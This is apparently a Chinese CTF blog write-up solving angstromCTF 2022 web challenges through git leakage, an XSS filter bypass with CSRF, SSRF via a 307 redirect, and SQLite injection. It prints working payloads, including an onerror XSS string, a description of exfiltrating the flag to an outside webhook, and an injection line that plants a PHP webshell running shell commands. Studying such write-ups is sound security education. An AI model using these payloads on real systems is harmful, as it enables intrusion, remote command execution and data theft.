angstromctf2022赛题复现
五一这几天打了两场比赛,学到了点东西,miniL的web坐牢了,没做出啥题……
Art Gallery
考点——任意文件读取+git泄露
一开始并没有看懂这道题的考点,后来学长提示了一下
主界面可以通过修改member
后面的参数来读取其他图片以及文件(特有无意义截图
题目也提及到了git这个词,意思即为利用git泄露拿到flag
git泄露——当开发人员使用git进行版本控制,对站点自动部署时,若配置不当,这个.git
的文件夹会被部署到线上环境,这个文件夹里面保存了这个仓库的所有版本等一系列信息,攻击者可以利用.git
文件夹内的信息获取应用程序所有的源代码,以及历史记录commit
,尴尬,还没学git(
附上一个github的恢复git泄露历史记录的工具
https://github.com/WangYihang/GitHacker
然后可以参考上面的使用说明,先把这个源代码的文件夹保存到本地,先git reset HEAD^
一次,再git show
之后得到了flag
Xtra Salty Sardines
沙丁鱼
考点——CSRF、XSS
这道题和之前picoctf的noted有一点像
源码当中对一些xss常用的字符进行了html字符的转义
1 | const name = req.body.name |
虽然但是,它过滤了个寂寞,因为这个replace
只会对你的句子检查一次,所以我们可以先把敏感字符都先输入一次,就像这样
1 | &"'<><img src = 1 onerror="alert(1)"> |
源码中还有一个关键的部分
1 | // the admin bot will be able to access this |
我们需要想办法让题目给的admin bot
来访问/flag
这个路径,然后我们还要想办法获得这个flag,一开始我以为是要获得cookie的,还纠结着怎么用document.cookie
拿不到cookie,后来才发现是不需要cookie的,因为是CSRF
哇,尴尬……还在这个问题上纠结了半天
这个admin bot
好像有点不太聪明的亚子——它只能访问我们给定的url,并不能在上面输入代码执行
而且你在主界面每一次make sardines
的时候是会生成一个url的,这其实就暗示我们需要让admin bot去访问我们给定的url界面,这个url界面需要有我们已经布置好的js代码,adminbot 执行页面上的代码去访问 flag,再把这个flag返回到自己的服务器即可
一开始是想到了用window.open
的方法,不过行不通,后来知道是因为window.open
是新打开一个新的标签页,读取flag和发送flag的操作都需要在同一个窗口页面上完成(这估计和机器人的权限保持相关,当碰到这种情况的时候就得考虑使用xhr
或是fetch
的方法来CSRF
了
借用一下学长的payload
1 | const xhr1 = new XMLHttpRequest() |
感觉webhook这个在线工具可能比较适合我这个懒人2333
哦对了,如果上面的payload打不通,可以将xhr1.onload
和xhr1.send()
的位置调换
不过,因为js异步执行的特性,需要先设置事件处理器onload
再执行send
操作,如果两者顺序颠倒,有的时候,事件处理器onload
的执行无效
school unblocker
这道题需要注意301
和307
状态码的区别
301
:说明请求的资源已经被移动到了由Location
头部指定的url上,是固定的不会再改变
307
:临时重定向响应状态码,表示请求的资源暂时地被移动到了响应的Location
首部所指向的 URL 上
一时还没有明白弄懂这个的实际意义,先把源码审下(
这道题有个a proxy service
的服务,在里面输入url会browse到对应的url上
a proxy service
的源码部分
1 | app.post("/proxy", async (req, res) => { |
获得flag的源码部分
1 | // make flag accessible for local debugging purposes only |
这个req.socket.remoteAddress
和请求的ip地址相关,所以意思是需要请求来自于127.0.0.1
的ip访问,才能拿到flag,这个::ffff:127.0.0.1
指的是位于IPv6(128位)空间内的IPv4(32位)地址的子网前缀(完蛋,根本不懂
如果尝试直接使用http://127.0.0.1:8080/flag
在proxy service
直接访问的话,会显示private ip contents redacted
对应源码(节选)
1 | app.post("/proxy", async (req, res) => { |
ipv4补一下
不满足ipv4的ip会被处理,不过这里不需要管它,127.0.0.1已经满足条件了
这个isPublicIp
函数会对你输入的ip进行检查,当输入127.0.0.1
的时候,由于chunks[0]
的值是127,因此会返回false的值,自然就不会允许你进行访问了,意思应该是要使用一些“间接”的手法来访问了(下面的方法个人理解是利用重定向来跨越检查)
flag源码注释部分的意思大致是——只能在本地的调试当中获得flag,nginx的私有ip(内网ip)不是127.0.0.1
(意思应该就是127.0.0.1
是nginx的外网ip)(虽然我根本没看出来这哪里是nginx起的服务了……
需要在本地开个端口监听
在你自己的服务器上开个脚本(注意不要是你的本地环境,需要的是公网的ip)然后在那个proxy service上的url输入http://ip:port可以拿到flag
查了一下mdn,就是说307和301(或是302等其他的重定向)有一点区别
payload如下,没加app.listen,一直没试成功,暴露了还没学node js的我,改日去学)
1 | const express = require("express"); |
flag:actf{dont_authenticate_via_ip_please}
No flags?
可以得出数据库是SQLite,但是问题在于根本没有flag的任何信息(数据,表和列等),还得想一个其他的方法
这道题得用SQLite写个shell得到flag,因为这个dockerfile里面有chmod等需要在shell上面执行的命令,意思就是说我们需要使用SQLite来getshell
1 | FROM php:8.1.5-apache-bullseye |
重点在dockerfile的chmod -R 333 abyss
上,这说明可以往abyss路径里面写入某些文件
学习一下,附上个链接https://xz.aliyun.com/t/101#toc-1
大致的方法是可以生成一个php
后缀的数据库文件(视具体语言环境而定,sqlite的数据库是一个文件)
然后可以结合堆叠注入构造一个这样的payload,注意在源码里面的sqlite语句的闭合方式,sqlite的注释符为--
,emm,这语法一时看不习惯……该解另参考自https://github.com/satoki/ctf_writeups/tree/master/%C3%A5ngstromCTF_2022/No_Flags%3F
1 | '); ATTACH DATABASE '/var/www/html/abyss/try.php' as run;CREATE TABLE run.mod(dataz text);INSERT INTO run.mod (dataz) VALUES ('<?php system($_GET["cmd"]); ?>'); -- |
访问url:https://no-flags.web.actf.co/abyss/try.php?cmd=/printflag
注意,这个php文件已经是一个数据库的文件了,和传统意义上的php文件已经不一样了
而且,sqlite的数据库文件是二进制文件(应该),所以会有些乱码一样的字符
这flag的嘲讽意义满满2333